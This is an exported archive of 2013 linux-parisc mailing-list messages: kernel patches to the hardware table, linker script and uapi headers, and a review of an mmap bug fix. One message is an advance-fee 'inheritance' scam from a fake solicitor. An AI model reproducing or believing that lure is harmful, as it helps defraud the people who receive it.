	id S1755614Ab3KVXZr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 22 Nov 2013 18:25:47 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:51757 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755338Ab3KVXZq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 22 Nov 2013 18:25:46 -0500
Original-Received: from p100.box ([84.173.35.137]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MgtWa-1W5wng3avA-00M1Zx for
 <linux-parisc@vger.kernel.org>; Sat, 23 Nov 2013 00:25:45 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:daz3nKYrMTQuaToxk4zfHSMGod1VZe1qhBUvK9pbA0/Lcs3G9Q5
 H+PgufnEpofsH1yuZqgXrGkNpZgyFdfC+3aYNy3zpgM8IomtaXgMMj16nhnBfV45C4CRxc6
 3F8RFDyCTbt+stWeytD5rOTBVZ4akLo969aw59ii8lwYLqMkqgtfLHmyjp/Mfc1ZDyoOyS9
 RRs13IHYZPWtGIg6O16QA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5510
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5510>

Sadly the correct names for machines which end with a question-mark aren't
known, so let's give it a best-guessed-name.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 06cb399..608716f 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -36,6 +36,9 @@
  *	HP PARISC Hardware Database
  *	Access to this database is only possible during bootup
  *	so don't reference this table after starting the init process
+ *
+ *	NOTE: Product names which are listed here and ends with a '?'
+ *	are guessed. If you know the correct name, please let us know.
  */
  
 static struct hp_hardware hp_hardware_list[] = {
@@ -222,7 +225,7 @@ static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_NPROC,0x5DD,0x4,0x81,"Duet W2"},
 	{HPHW_NPROC,0x5DE,0x4,0x81,"Piccolo W+"},
 	{HPHW_NPROC,0x5DF,0x4,0x81,"Cantata W2"},
-	{HPHW_NPROC,0x5DF,0x0,0x00,"Marcato W+? (rp5470)"},
+	{HPHW_NPROC,0x5DF,0x0,0x00,"Marcato W+ (rp5470)?"},
 	{HPHW_NPROC,0x5E0,0x4,0x91,"Cantata DC- W2"},
 	{HPHW_NPROC,0x5E1,0x4,0x91,"Crescendo DC- W2"},
 	{HPHW_NPROC,0x5E2,0x4,0x91,"Crescendo 650 W2"},
@@ -276,9 +279,11 @@ static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_NPROC,0x888,0x4,0x91,"Storm Peak Fast DC-"},
 	{HPHW_NPROC,0x889,0x4,0x91,"Storm Peak Fast"},
 	{HPHW_NPROC,0x88A,0x4,0x91,"Crestone Peak Slow"},
+	{HPHW_NPROC,0x88B,0x4,0x91,"Crestone Peak Fast?"},
 	{HPHW_NPROC,0x88C,0x4,0x91,"Orca Mako+"},
 	{HPHW_NPROC,0x88D,0x4,0x91,"Rainier/Medel Mako+ Slow"},
 	{HPHW_NPROC,0x88E,0x4,0x91,"Rainier/Medel Mako+ Fast"},
+	{HPHW_NPROC,0x892,0x4,0x91,"Mt. Hamilton Slow Mako+?"},
 	{HPHW_NPROC,0x894,0x4,0x91,"Mt. Hamilton Fast Mako+"},
 	{HPHW_NPROC,0x895,0x4,0x91,"Storm Peak Slow Mako+"},
 	{HPHW_NPROC,0x896,0x4,0x91,"Storm Peak Fast Mako+"},
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: OSBORNES SOLICITORS LLP <djholditch@crimson.ua.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: PRIVATE MESSAGE
Date: Sat, 23 Nov 2013 11:36:37 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <CAES10a717CqU=CM7sp160n9k2z+rs7xRjJ1-0ygc_+a+ofv0Lw__1339.05245825208$1385203021$gmane$org@mail.gmail.com>
Reply-To: Osbornes@mail2world.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1385203010 31079 80.91.229.3 (23 Nov 2013 10:36:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 23 Nov 2013 10:36:50 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 23 11:36:54 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VkAa0-00068b-Vb
	for glpp-linux-parisc@plane.gmane.org; Sat, 23 Nov 2013 11:36:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756159Ab3KWKgp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 23 Nov 2013 05:36:45 -0500
Original-Received: from mail-lb0-f194.google.com ([209.85.217.194]:52010 "EHLO
	mail-lb0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755828Ab3KWKgk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 23 Nov 2013 05:36:40 -0500
Original-Received: by mail-lb0-f194.google.com with SMTP id c11so406569lbj.5
        for <linux-parisc@vger.kernel.org>; Sat, 23 Nov 2013 02:36:38 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:reply-to:date:message-id:subject
         :from:to:content-type;
        bh=QwqOXEggLXCPwUxvC7W+/epx9KN9REf99AF+qNFi80Q=;
        b=KIJM2P9egiyh3xtwq2cynFM2cFZo3uD0Mztmv1PmR7Taa5yn5tGtvkYJsk0b6irCyS
         4D7Kwm5OSHGX7wKVQPhMOB3WM6tjFAMoNZlOMaLwsyV/DI/4vP3QVuuOxP8NeMFvrQVc
         AZvoHPR7z+K2XZHKPtFBhNQr7YQs1SgIHmkQyVufGpMwrbCSIScDaEO2tSj/rqWObb/2
         rZW8ZTw3lL1IEG5U1RUSDBsCTS/GqmkmGd0MUOtbeo3yULVSvJrylNrXdRG0C8uUeIzz
         TvSUPDigiRVKoYHrtFmXdDKx6Zi52N/FmU+y3WzzEA2dTl0ZQvef7iHx24nnDxzIuvQc
         NPGg==
X-Gm-Message-State: ALoCoQnHqQ3TAxY+cHEemBdMWZdSRQZqs80o1/Xt8WtKJ/Ovwpek0ltzx1SVR7lxgVXRc1XqTVO7
X-Received: by 10.152.8.199 with SMTP id t7mr11441146laa.21.1385202997884;
 Sat, 23 Nov 2013 02:36:37 -0800 (PST)
Original-Received: by 10.115.2.5 with HTTP; Sat, 23 Nov 2013 02:36:37 -0800 (PST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5511
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5511>

-- 
This is to inform you that an inheritance was bequeathed in your
favour. Letters were posted to you to this regards, but returned
undelivered. Kindly contact me once you recieve this email for more
information.

Sincerely
Barr Mark Freedman
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: vmlinux.lds.S: fix linkage of the 64bit SMP
 debian kernel
Date: Sun, 24 Nov 2013 23:46:59 +0100
Lines: 158
Approved: news@gmane.org
Message-ID: <20131124224659.GA7628@p100.box>
References: <20131122162952.GA10699@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385333222 21949 80.91.229.3 (24 Nov 2013 22:47:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 24 Nov 2013 22:47:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 24 23:47:07 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VkiSI-0001vv-71
	for glpp-linux-parisc@plane.gmane.org; Sun, 24 Nov 2013 23:47:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751766Ab3KXWrF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Nov 2013 17:47:05 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:56567 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751426Ab3KXWrE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Nov 2013 17:47:04 -0500
Original-Received: from p100.box ([84.173.64.219]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LkgAG-1VCU6524hQ-00aWAU for
 <linux-parisc@vger.kernel.org>; Sun, 24 Nov 2013 23:47:02 +0100
Content-Disposition: inline
In-Reply-To: <20131122162952.GA10699@ls3530.dhcp.wdf.sap.corp>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:k57itpwgLVZH8blWWX0dFILbE71zSSKG308TYMNSsk3MvPRhjBG
 GZNP5WbX0nnechPLmoc9ByLa0wZwPNw8ji8vlDUlysdQMaeAlMmSRAZqtJ6UF6OuKLbUCd1
 ++tNKDXRLSqqPfZe9WxPBWvXbSM3NRNWyt9i931j1S68JMH3WXJWVSUai5Ec8UvcQk9H/oT
 tIP6khPuEpCbi4ISfAaQA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5512>

Here is an updated (complete) patch.


* Helge Deller <deller@gmx.de>:
> When building the 64bit SMP kernel for debian it may happen that it becomes too
> big so that functions in the .init.text or .exit.text may not be able to reach
> important kernel functions in the .text section. Main reason why this happens
> with a 64bit kernel build is that we include the linkage tables (.opd, .plt,
> .dlt) in that data section.  Those linkage tables tend to become huge, and
> since they are located between the .text and the .init sections the distance
> gets too far.
> 
> If the linker fails to link vmlinux, it will either crash without any error
> message, or it will - with newer linker versions - report the following error:
> 
> hppa64-linux-gnu-ld: drivers/built-in.o(.exit.text+0xc4): cannot reach _raw_read_lock
> drivers/built-in.o: In function `pdc_stable_exit':
> drivers/parisc/pdc_stable.o:(.exit.text+0xc4): relocation truncated to fit: R_PARISC_PCREL22F against symbol `_raw_read_lock' defined in .spinlock.text section in kernel/built-in.o
> 
> We have three options to solve this issue:
> a) Turn on CONFIG_MLONGCALLS, which will instruct the compiler to use the
>    -mlongcall option. But this option will hurt performance.
> b) Tell the linker (via vmlinux.lds.S) to move the .init.text and .exit.text
>    sections into the normal .text section. Downside here is, that those sections
>    will not be discarded at runtime.
> c) Move the linkage tables somewhere else. Even if this would be possible I did
>    not find a nice solution without any other bad side effects.
> 
> Since we are compiling a 64bit kernel which usually runs on machines with lots
> of memory, I preferred option b) since performance is usually more imortant than
> some lost memory area.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 4bb095a..4d7a1f0 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -23,13 +23,23 @@
  *    along with this program; if not, write to the Free Software
  *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  */
+
+/*
+ * Put page table entries (swapper_pg_dir) as the first thing in .bss. This
+ * will ensure that it has .bss alignment (PAGE_SIZE).
+ */
+#define BSS_FIRST_SECTIONS	*(.data..vm0.pmd) \
+				*(.data..vm0.pgd) \
+				*(.data..vm0.pte)
+
 #include <asm-generic/vmlinux.lds.h>
+
 /* needed for the processor specific cache alignment size */	
 #include <asm/cache.h>
 #include <asm/page.h>
 #include <asm/asm-offsets.h>
 #include <asm/thread_info.h>
-	
+
 /* ld script to make hppa Linux kernel */
 #ifndef CONFIG_64BIT
 OUTPUT_FORMAT("elf32-hppa-linux")
@@ -53,6 +63,7 @@ SECTIONS
 	.head ALIGN(16) : {
 		HEAD_TEXT
 	} = 0
+
 	.text ALIGN(16) : {
 		TEXT_TEXT
 		SCHED_TEXT
@@ -64,17 +75,23 @@ SECTIONS
 		*(.text.do_sigaltstack)
 		*(.text.do_fork)
 		*(.text.*)
+#if defined(CONFIG_64BIT) && !defined(CONFIG_MLONGCALLS)
+		EXIT_TEXT
+#endif
 		*(.fixup)
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
 	}
+#if defined(CONFIG_64BIT) && !defined(CONFIG_MLONGCALLS)
+	INIT_TEXT_SECTION(16)
+#endif
 	/* End of text section */
 	_etext = .;
 
 	/* Start of data section */
 	_sdata = .;
 
-	RODATA
+	RO_DATA_SECTION(PAGE_SIZE)
 
 	/* writeable */
 	/* Make sure this is page aligned so
@@ -107,45 +124,36 @@ SECTIONS
 	_edata = .;
 
 	/* BSS */
-	__bss_start = .;
-	/* page table entries need to be PAGE_SIZE aligned */
-	. = ALIGN(PAGE_SIZE);
-	.data..vmpages : {
-		*(.data..vm0.pmd)
-		*(.data..vm0.pgd)
-		*(.data..vm0.pte)
-	}
-	.bss : {
-		*(.bss)
-		*(COMMON)
-	}
-	__bss_stop = .;
+	BSS_SECTION(16, PAGE_SIZE, 16)
+
 
 #ifdef CONFIG_64BIT
+	/* Linkage tables are huge. */
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
 		*(.opd)
-	} PROVIDE (__gp = .); 
+	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-	} 
+	}
 	.dlt : {
 		*(.dlt)
 	}
 #endif
 
-	/* reserve space for interrupt stack by aligning __init* to 16k */
-	. = ALIGN(16384);
-	__init_begin = .;
-	INIT_TEXT_SECTION(16384)
 	. = ALIGN(PAGE_SIZE);
-	INIT_DATA_SECTION(16)
+	__init_begin = .;
+
+#if !defined(CONFIG_64BIT) || defined(CONFIG_MLONGCALLS)
+	INIT_TEXT_SECTION(16)
 	/* we have to discard exit text and such at runtime, not link time */
 	.exit.text :
 	{
 		EXIT_TEXT
 	}
+#endif
+	INIT_DATA_SECTION(16)
 	.exit.data :
 	{
 		EXIT_DATA
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix re-mmap() of shared file to same fixed address
Date: Sun, 24 Nov 2013 23:41:22 -0500
Organization: wh0rd.org
Lines: 66
Approved: news@gmane.org
Message-ID: <201311242341.23301.vapier@gentoo.org>
References: <20131120220742.GA23304@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart1542009.HO7scgiSGA";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1385354475 32405 80.91.229.3 (25 Nov 2013 04:41:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 04:41:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	dave.anglin@bell.net
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 25 05:41:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vknz6-00008M-LD
	for glpp-linux-parisc@plane.gmane.org; Mon, 25 Nov 2013 05:41:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753297Ab3KYElS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 24 Nov 2013 23:41:18 -0500
Original-Received: from smtp.gentoo.org ([140.211.166.183]:40486 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752926Ab3KYElS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 24 Nov 2013 23:41:18 -0500
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 846BC33F392;
	Mon, 25 Nov 2013 04:41:17 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.12.0; KDE/4.6.5; x86_64; ; )
In-Reply-To: <20131120220742.GA23304@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5513>

--nextPart1542009.HO7scgiSGA
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Wednesday 20 November 2013 17:07:42 Helge Deller wrote:
> locale-gen from glibc showed a strange problem on parisc:

pedantic: locale-gen is from distros while glibc itself provides localedef.

> mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) =3D 0x42a54000
> mmap2(0x42a54000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, =
0)
> =3D -1 EINVAL (Invalid argument)
>=20
> Basically it was just trying to re-mmap() a file at the same address
> which it was given by a previous mmap() call. But this remapping failed
> with EINVAL.
>=20
> The problem is, that when MAP_FIXED and MAP_SHARED flags were used, we
> didn't included the mapping-based offset when we verified the alignment of
> the given fixed address against the offset which we calculated it in the
> previous call.

hmm, which version of glibc were you trying ?  we landed this change recent=
ly:
https://sourceware.org/git/?p=3Dglibc.git;a=3Dcommitdiff_plain;h=3D17db6e8d=
6b12f55e312fcab46faf5d332c806fb6

it's part of glibc-2.18.  we know earlier versions of localedef failed on=20
systems like parisc, although it seemed to really only creep up on 64bit=20
kernels reliably.

based on your description, it sounds like independent bugs, but it also see=
ms=20
a little coincidental ...
=2Dmike

--nextPart1542009.HO7scgiSGA
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJSktTzAAoJEEFjO5/oN/WB2g0P/jmaGTwrdZ2Me4pz0UeAREdN
3XS2c3Cj2LqjazfIlDbqBsiTiAlWUH4oTMbHcFs9m9wGpIjPhY+6y9DuMAFUGmts
sxMDBY+KcP2LR07hYqfqM7yT8372ctKCLioKoq0kuepJCixhx9uKVF96X7XPO8l3
/YJ7yqkp+sZfOPhCLE+1XjqQnIEk8EIKmkx5ZXI8mH68VNiQmSXpd80wLscKk67Y
mIgbtWfH+OC2UWMqdMyCo5cHTa0X1WFCTpzRXD00QCJ+rTxEJbRpwVDmsH3wE+hi
4N1UbVYyzPO8QgOSVgXv2hGeftpAxvclJ7I/Ut2DT3lWvrRBF+H2lXtboWFNbxiV
+WC1WKnU5zp2PXx5o/TdCzNzZudzyJbj08JQVjwqdNT05o2Hmofp0AOnmSgDpoHN
ViyqQJOHbafangTeEEt3CSGEeku65ZwFv55oWJ+wZz6NADWE0RW3YO7vsHFCwGet
IV0Rm3PN3kalhs0JGrMntmAKabD5441scSGujqJ2jzN1LgvJLshxdakjFDeBPuCV
M86NmY3YjRPA/N2Op0Q9ZeVPmEx8BbrmNYgNmDJC8CBB73tU/E1sbQMRUwkvD/8L
QXzCgVknQQ3W2qQ8i3TvzmaWZJISeGjTiUWcoP/3w55oyCUatT6NFV747JRtxWt1
qSH18T4v3rRv9RaRmbvl
=3M15
-----END PGP SIGNATURE-----

--nextPart1542009.HO7scgiSGA--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 08/24] parisc/uapi: Use Kbuild logic to provide <asm/types.h>
Date: Mon, 25 Nov 2013 09:55:18 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <1385369734-24893-9-git-send-email-geert@linux-m68k.org>
References: <1385369734-24893-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1385369885 13591 80.91.229.3 (25 Nov 2013 08:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 08:58:05 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 25 09:58:06 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1VkrzX-0004GY-Eu
	for glk-linux-kernel-3@plane.gmane.org; Mon, 25 Nov 2013 09:58:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754397Ab3KYI5y (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 25 Nov 2013 03:57:54 -0500
Original-Received: from jacques.telenet-ops.be ([195.130.132.50]:50565 "EHLO
	jacques.telenet-ops.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752637Ab3KYIzp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 25 Nov 2013 03:55:45 -0500
Original-Received: from ayla.of.borg ([84.193.72.141])
	by jacques.telenet-ops.be with bizsmtp
	id tkvj1m00s32ts5g0JkvjDu; Mon, 25 Nov 2013 09:55:43 +0100
Original-Received: from geert by ayla.of.borg with local (Exim 4.76)
	(envelope-from <geert@linux-m68k.org>)
	id 1VkrxG-0006VJ-RH; Mon, 25 Nov 2013 09:55:42 +0100
X-Mailer: git-send-email 1.7.9.5
In-Reply-To: <1385369734-24893-1-git-send-email-geert@linux-m68k.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1600617 gmane.linux.kernel.cross-arch:20541 gmane.linux.ports.parisc:5514
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1600617>

Uapi <asm-generic/types.h> just includes <asm-generic/int-ll64.h>

Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/include/uapi/asm/Kbuild  |    3 ++-
 arch/parisc/include/uapi/asm/types.h |    6 ------
 2 files changed, 2 insertions(+), 7 deletions(-)
 delete mode 100644 arch/parisc/include/uapi/asm/types.h

diff --git a/arch/parisc/include/uapi/asm/Kbuild b/arch/parisc/include/uapi/asm/Kbuild
index a580642555b6..e0da93254186 100644
--- a/arch/parisc/include/uapi/asm/Kbuild
+++ b/arch/parisc/include/uapi/asm/Kbuild
@@ -1,6 +1,8 @@
 # UAPI Header export list
 include include/uapi/asm-generic/Kbuild.asm
 
+generic-y += types.h
+
 header-y += bitsperlong.h
 header-y += byteorder.h
 header-y += errno.h
@@ -27,5 +29,4 @@ header-y += statfs.h
 header-y += swab.h
 header-y += termbits.h
 header-y += termios.h
-header-y += types.h
 header-y += unistd.h
diff --git a/arch/parisc/include/uapi/asm/types.h b/arch/parisc/include/uapi/asm/types.h
deleted file mode 100644
index 8866f9bbdeaf..000000000000
--- a/arch/parisc/include/uapi/asm/types.h
+++ /dev/null
@@ -1,6 +0,0 @@
-#ifndef _PARISC_TYPES_H
-#define _PARISC_TYPES_H
-
-#include <asm-generic/int-ll64.h>
-
-#endif
-- 
1.7.9.5


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 08/24] parisc/uapi: Use Kbuild logic to provide
 <asm/types.h>
Date: Mon, 25 Nov 2013 13:55:13 +0400
Lines: 58
Approved: news@gmane.org
Message-ID: <1385373313.2354.16.camel@dabdike>
References: <1385369734-24893-1-git-send-email-geert@linux-m68k.org>
	 <1385369734-24893-9-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1385373317 19776 80.91.229.3 (25 Nov 2013 09:55:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Nov 2013 09:55:17 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Nov 25 10:55:21 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Vkssz-0005Y7-3n
	for glka-linux-arch@plane.gmane.org; Mon, 25 Nov 2013 10:55:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750834Ab3KYJzT (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 25 Nov 2013 04:55:19 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:53660 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750811Ab3KYJzS (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 25 Nov 2013 04:55:18 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D8A068EE0E4;
	Mon, 25 Nov 2013 01:55:17 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6ww9gwL59pbR; Mon, 25 Nov 2013 01:55:17 -0800 (PST)
Original-Received: from [10.24.39.17] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id D2F3F8EE0C9;
	Mon, 25 Nov 2013 01:55:15 -0800 (PST)
In-Reply-To: <1385369734-24893-9-git-send-email-geert@linux-m68k.org>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
